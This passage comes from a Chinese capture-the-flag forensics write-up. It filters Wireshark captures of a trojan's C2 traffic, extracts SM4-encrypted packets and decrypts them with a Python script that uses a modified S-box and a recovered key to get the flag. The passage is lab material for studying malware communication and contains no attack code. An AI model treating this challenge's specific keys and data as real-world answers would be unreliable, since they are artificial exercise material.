    0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E,
    0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1,
    0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3,
    0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F,
    0xD5, 0xDB, 0x39, 0xB8, 0x31, 0x11, 0x0C, 0x5A, 0xCB, 0x3E, 0x0A, 0x45, 0xE5, 0x94, 0x77, 0x5B,
    0x8D, 0x6D, 0x48, 0x41, 0x10, 0xBD, 0x09, 0xC1, 0x4A, 0x89, 0x0D, 0x6E, 0x97, 0xA1, 0x1D, 0x16,
    0x0A, 0xD9, 0x88, 0x6A, 0x96, 0xD1, 0x6B, 0x32, 0x02, 0x35, 0x46, 0x06, 0x7D, 0x65, 0x49, 0x8C,
    0xF0, 0x3E, 0x2D, 0x7A, 0x15, 0xFF, 0x05, 0x8E, 0x01, 0x84, 0x3C, 0x3A, 0x38, 0x53, 0x87, 0x7B,
    0x0B, 0x2B, 0x7E, 0x0F, 0xF6, 0x69, 0xA8, 0x5A, 0xB5, 0x4C, 0x1B, 0x39, 0x7F, 0x08, 0x8D, 0x1C
]

3、wireshark中定位通信会话数据包,提取通信密文

根据我们之前的分析,受害者是 192.168.1.200,而攻击者(接收 Flag 的 C2 服务器)是 192.168.1.201。为了提取 Flag,我们需要的是 受害者发给攻击者 的流量

bash 复制代码
ip.src == 192.168.1.200 && ip.dst == 192.168.1.201 && tcp.port == 58782 && tcp.len > 0

可以看到大量 Len=4 和 Len=16 的小包,这是受害者木马在不断询问服务器:"有命令吗?"服务器回复:"没命令"或者保持连接,这是一种典型的 C2 维持机制

Len=4:根据逆向代码,这是通信协议的长度头(Header)

Len=16:这是 SM4 加密后的最小分组长度(128位)

把大于等于48的数据包的密文全部提取出来,然后一起进行解密

bash 复制代码
ip.addr == 192.168.1.201 && tcp.port == 58782 && tcp.len >=48

分别复制出里面的数据,以其中一个为例

e、提取密文

bash 复制代码
CIPHER_LIST = [
    "87e8faa921f3e67c530f1b6740a9d439794e426716d49f5e949d5d56f81ed54a97f6cc6752fcf7aa408a94e6a59029e7",
    "91fc3c4dc278b1afc5636adeca578f3fe37c16fa66fae433d0d7eb331e7926025ad84833f28fc2641bf05e058be36ed06b3ba79fb66a1ae4192c51152e87a1c6abf66f0a1038689d2137f94d6a686b946120ea2d6fbe312786411b701a353ab035de9c7dc81abfa0dfef55c14cd1f99e07c",
    "0f8e8c73baeb70cada6aa30d3a91d0c8f4f2a26dd4e3e7ad0c99810245ae92a05893d4b74323a37247cc6c9c417f8082ccef101bd31acdc79c8a673396353a030358d2a3db37019672b8042929a68fea5ba9965e5145940355e00debe46e80b75dd31b646f39d4cb3e057bc64c8e3b39a7c",
    "4331cfda21eeab8922fcc7acced16d1a17b02e8d2d9dfee48dc8f18e0dbbb2e4c4547e39d8c4aa2418d9fca52c9c4770",
    "7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729",
    "de7cc756e5c97fed18a72a95af102dac48dc0810752bd7755157e5909974cbe0ce87241e7f01e3169e7a763a22008029"
]

4、编写脚本进行SM4解密

根据前面得到的 密钥、SM4算法的系统参数FK、SM4算法的固定参数CK、SM4算法的S-Box、密文 编写脚本进行解密

python 复制代码
import struct
import binascii

# ==================== 配置区 ====================
KEY_HEX = "ac46fb610b313b4f32fc642d8834b456"

# 魔改 S-Box
SBOX = bytes([
    0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x05,
    0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x04, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
    0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0x0b, 0x43, 0xed, 0xcf, 0xac, 0x62,
    0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x08, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6,
    0x47, 0x07, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8,
    0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0x0f, 0x4b, 0x70, 0x56, 0x9d, 0x35,
    0x1e, 0x24, 0x0e, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x01, 0x21, 0x78, 0x87,
    0xd4, 0x00, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x02, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e,
    0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1,
    0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3,
    0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0x0d, 0x53, 0x4e, 0x6f,
    0xd5, 0xdb, 0x39, 0xb8, 0x31, 0x11, 0x0c, 0x5a, 0xcb, 0x3e, 0x0a, 0x45, 0xe5, 0x94, 0x77, 0x5b,
    0x8d, 0x6d, 0x48, 0x41, 0x10, 0xbd, 0x09, 0xc1, 0x4a, 0x89, 0x0d, 0x6e, 0x97, 0xa1, 0x1d, 0x16,
    0x0a, 0xd9, 0x88, 0x6a, 0x96, 0xd1, 0x6b, 0x32, 0x02, 0x35, 0x46, 0x06, 0x7d, 0x65, 0x49, 0x8c,
    0xf0, 0x3e, 0x2d, 0x7a, 0x15, 0xff, 0x05, 0x8e, 0x01, 0x84, 0x3c, 0x3a, 0x38, 0x53, 0x87, 0x7b,
    0x0b, 0x2b, 0x7e, 0x0f, 0xf6, 0x69, 0xa8, 0x5a, 0xb5, 0x4c, 0x1b, 0x39, 0x7f, 0x08, 0x8d, 0x1c
])

FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
CK = [
    0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269, 0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
    0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249, 0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
    0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229, 0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
    0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209, 0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]

CIPHER_LIST = [
    "87e8faa921f3e67c530f1b6740a9d439794e426716d49f5e949d5d56f81ed54a97f6cc6752fcf7aa408a94e6a59029e7",
    "91fc3c4dc278b1afc5636adeca578f3fe37c16fa66fae433d0d7eb331e7926025ad84833f28fc2641bf05e058be36ed06b3ba79fb66a1ae4192c51152e87a1c6abf66f0a1038689d2137f94d6a686b946120ea2d6fbe312786411b701a353ab035de9c7dc81abfa0dfef55c14cd1f99e07c",
    "0f8e8c73baeb70cada6aa30d3a91d0c8f4f2a26dd4e3e7ad0c99810245ae92a05893d4b74323a37247cc6c9c417f8082ccef101bd31acdc79c8a673396353a030358d2a3db37019672b8042929a68fea5ba9965e5145940355e00debe46e80b75dd31b646f39d4cb3e057bc64c8e3b39a7c",
    "4331cfda21eeab8922fcc7acced16d1a17b02e8d2d9dfee48dc8f18e0dbbb2e4c4547e39d8c4aa2418d9fca52c9c4770",
    "7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729",
    "de7cc756e5c97fed18a72a95af102dac48dc0810752bd7755157e5909974cbe0ce87241e7f01e3169e7a763a22008029"
]

# ==================== 算法核心 ====================
rot = lambda x, n: ((x << n) | (x >> (32 - n))) & 0xffffffff
tau = lambda x: (SBOX[x & 0xff] << 24) | (SBOX[(x >> 8) & 0xff] << 16) | (SBOX[(x >> 16) & 0xff] << 8) | SBOX[x >> 24]
L = lambda x: x ^ rot(x, 2) ^ rot(x, 10) ^ rot(x, 18) ^ rot(x, 24)
Lp = lambda x: x ^ rot(x, 13) ^ rot(x, 23)


def sm4_dec_block(ct, rk):
    x = [struct.unpack('>I', ct[i * 4:i * 4 + 4])[0] for i in range(4)]
    for i in range(31, -1, -1):
        tmp = x[0] ^ L(tau(x[1] ^ x[2] ^ x[3] ^ rk[i]))
        x = x[1:] + [tmp]
    return b''.join(struct.pack('>I', x[3 - i]) for i in range(4))


def sm4_get_rk(key):
    mk = [struct.unpack('>I', key[i * 4:i * 4 + 4])[0] for i in range(4)]
    k = [mk[i] ^ FK[i] for i in range(4)]
    rk = []
    for i in range(32):
        rk.append(k[0] ^ Lp(tau(k[1] ^ k[2] ^ k[3] ^ CK[i])))
        k = k[1:] + [rk[-1]]
    return rk


def try_decrypt(cipher_hex, rk):
    try:
        clean_hex = cipher_hex.replace(" ", "").replace("\n", "").replace("\r", "").strip()
        data = binascii.unhexlify(clean_hex)

        # 自动去头
        payload = data
        if len(data) % 16 != 0:
            if len(data) > 4 and (len(data) - 4) % 16 == 0:
                payload = data[4:]
            else:
                return "[Error] Odd-length string"

        # 解密
        plaintext = b""
        for i in range(0, len(payload), 16):
            if i + 16 <= len(payload):
                plaintext += sm4_dec_block(payload[i:i + 16], rk)

        # 解码并去除两端的空白字符(strip)
        try:
            pad = plaintext[-1]
            if 0 < pad <= 16:
                return plaintext[:-pad].decode(errors='ignore').strip()
            return plaintext.decode(errors='ignore').strip()
        except:
            return plaintext  # 无法解码则返回bytes

    except Exception as e:
        return f"[Error] {e}"


# ==================== 主程序 ====================
def main():
    print(f"[*] 正在尝试解密 {len(CIPHER_LIST)} 条数据...\n")

    key_bytes = binascii.unhexlify(KEY_HEX)
    rk = sm4_get_rk(key_bytes)

    for i, hex_str in enumerate(CIPHER_LIST):
        result = try_decrypt(hex_str, rk)
        print(f"[数据包 {i + 1}]: {result}")
        print("-" * 40)


if __name__ == '__main__':
    main()

解密得到第五条数据包中的数据使我们想要的flag

相关推荐
龙亘川1 天前
2027 年 1 月 1 日起施行!GB46864 新规落地,二手电子产品信息清除有了 “铁规矩”,你的隐私不再 “裸奔”
网络·安全·web安全
未知鱼2 天前
XSS、CSRF、SSRF攻击原理与防护全解析
前端·安全·web安全·网络安全·系统安全·xss·csrf
蓝之白2 天前
Web15-网站被黑
web安全·ctf
777sea2 天前
CTFSHOW-2026元旦跨年欢乐赛-CS2026
ctf
sld1682 天前
动态防御筑牢数字防线:WAAP赋能企业安全转型
网络·安全·web安全
给勒布朗上上对抗呀2 天前
序列化绕过-攻防世界-unseping
ctf
未知鱼2 天前
SQL注入
数据库·安全·web安全·网络安全·网络攻击模型
能年玲奈喝榴莲牛奶2 天前
安全服务-网络安全培训服务
web安全·网络安全
小李独爱秋2 天前
计算机网络经典问题透视:不重数(Nonce)是否就是随机数?一场深入骨髓的密码学思辨
服务器·网络·计算机网络·安全·web安全·密码学